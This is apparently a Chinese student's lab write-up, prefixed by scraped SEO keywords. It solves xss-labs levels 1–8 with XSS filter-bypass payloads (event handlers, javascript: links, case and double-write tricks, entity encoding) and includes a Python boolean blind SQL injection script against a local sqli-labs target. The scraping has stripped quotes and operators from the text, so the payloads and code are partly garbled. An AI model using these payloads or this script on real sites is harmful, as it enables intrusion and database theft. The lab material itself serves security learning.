长春做网站价格,html5网站特点,莆田做网站公司电话,现在出入郑州最新规定一、作业要求
1、xss-labs 1~8关 2、python实现自动化sql布尔育注代码优化(二分查找)
二、操作过程
#xff08;一#xff09;xss-labs 1~8关
1、前期准备
#xff08;1#xff09;打开小皮面板#xff0c;并启动Apache和MySQL #xff08;2#xff09;将 xss-labs…一、作业要求
1、xss-labs 1~8关 2、python实现自动化sql布尔育注代码优化(二分查找)
二、操作过程
一xss-labs 1~8关
1、前期准备
1打开小皮面板并启动Apache和MySQL 2将 xss-labs放到 phpstudy_pro 的 WWW 目录下 3访问连接http://localhost/xss-labs/ 2、level1 1漏洞当我们更改name等于不同的值时有不同的返回结果因此在这里可能有xss漏洞 2解决方式直接在nametest后面加入xss攻击语句
scriptalert(1)/script3、level2 1漏洞输入框的alue属性未过滤但h2内容被转义
2解决方案闭合value的双引导利用未过滤的输入点注入脚本
①在搜索框输入scriptalert()/script查询不到 ②查看源代码 可以看到输入的scriptalert()/script在input标签的value中需要闭合因此要在搜索框中输入
“scriptalert()/script 4、level3 1漏洞和被转义但单引号未过滤
2解决思路
①先在搜索框中输入第二个关卡的代码发现查询不到 ②查看源代码 发现它将闭合的给实体化了所以导致语句没有执行成功 。可以采用onfocus事件进行绕过则在搜索框中输入 οnfοcusalert()
οnfοcusalert() //单引号闭合 5、level4 1漏洞双引号闭合属性值
2解决思路与第三关相同使用onfocus事件实现绕过
①先在搜索框中输入第三个关卡的代码发现查询不到 ②查看源代码 可以采用onfocus事件进行绕过则在搜索框中输入
1 onclickalert(1) //双引号闭合 6、level5 1漏洞onclick和script被替换为o_nclick和scr_ipt
2解决思路
①利用之前关卡的代码发现查询不到 ②查看源代码 发现onclick和script被替换为o_nclick和scr_ipt
③由于onclick和script都用不了但是通过网页源码发现并没有过滤,所以可以用a href#在a标签中最重要的是href属性这个属性可以实现一个链接到javascript
a hrefjavascript:alert(1)点击/a搜索后会跳出来一个点击点一下就可以过关了 7、level6 1在第五关的基础上将href替换为hr_ef
2解决方案
①利用上一关卡的代码发现查询不到 ②查看源代码 通过源代码发现href被替换成了hr_ef并且可以看出这个网页并没有限制大小写所以可以采用转大写绕过。
a HREFjavascript:alert(1)点击/a8、level7 1漏洞输入的代码被过滤了
2解决思路
① 利用上一关卡的代码发现查询不到 ②查看源代码 ③ 利用onfocus事件进行绕过发现on这个关键字被过滤 ④通过测试可以看到都过滤了hrefonfocus中的on。因为只过滤了on则可以采用双写绕过。构造oonn当过滤中间on时然后两边的字母重新重组为on实现绕过操作
oonnfocusalert(1) //双写绕过9、level8 1漏洞href属性自动解码Unicode 2解决思路
①输入javascript:alert(1) ②查看源代码 ③对javascript:alert(1)进行编码
#106;#97;#118;#97;#115;#99;#114;#105;#112;#116;#58;#97;#108;#101;#114;#116;#40;#49;#41;
④将编码输入搜索框后点击下面的友情连接就完成关卡了 二python实现自动化sql布尔育注代码优化(二分查找)
1、代码
import requests
# 目标URL
url http://localhost/sqli-labs/Less-8/“
# 要推断的数据库信息例如数据库名
database_name
# 字符集可以根据需要扩展
charset abcdefghijklmnopqrstuvwxyz0123456789
def get_database_length(): # 推断数据库名的长度length 0while True:length 1payload f1 AND (SELECT length(database()) {length}) -- response requests.get(url, params{id: payload})if You are in........... in response.text:return lengthif length 50: # 防止无限循环breakreturn 0
# 使用二分查找推断数据库名
def get_database_name(length):db_name for i in range(1, length 1):left, right 0, len(charset) - 1while left right:mid (left right) // 2char charset[mid]payload f1 AND (SELECT substring(database(), {i}, 1) {char}) -- response requests.get(url, params{id: payload})if You are in in response.text:left mid 1else:right mid - 1db_name charset[right]return db_name
# 主函数
if __name__ __main__:length get_database_length()if length 0:print(f数据库名长度: {length})db_name get_database_name(length)print(f数据库名: {db_name})else:print(无法确定数据库长度。)
2、输出结果
数据库名长度: 8
数据库名: security
完成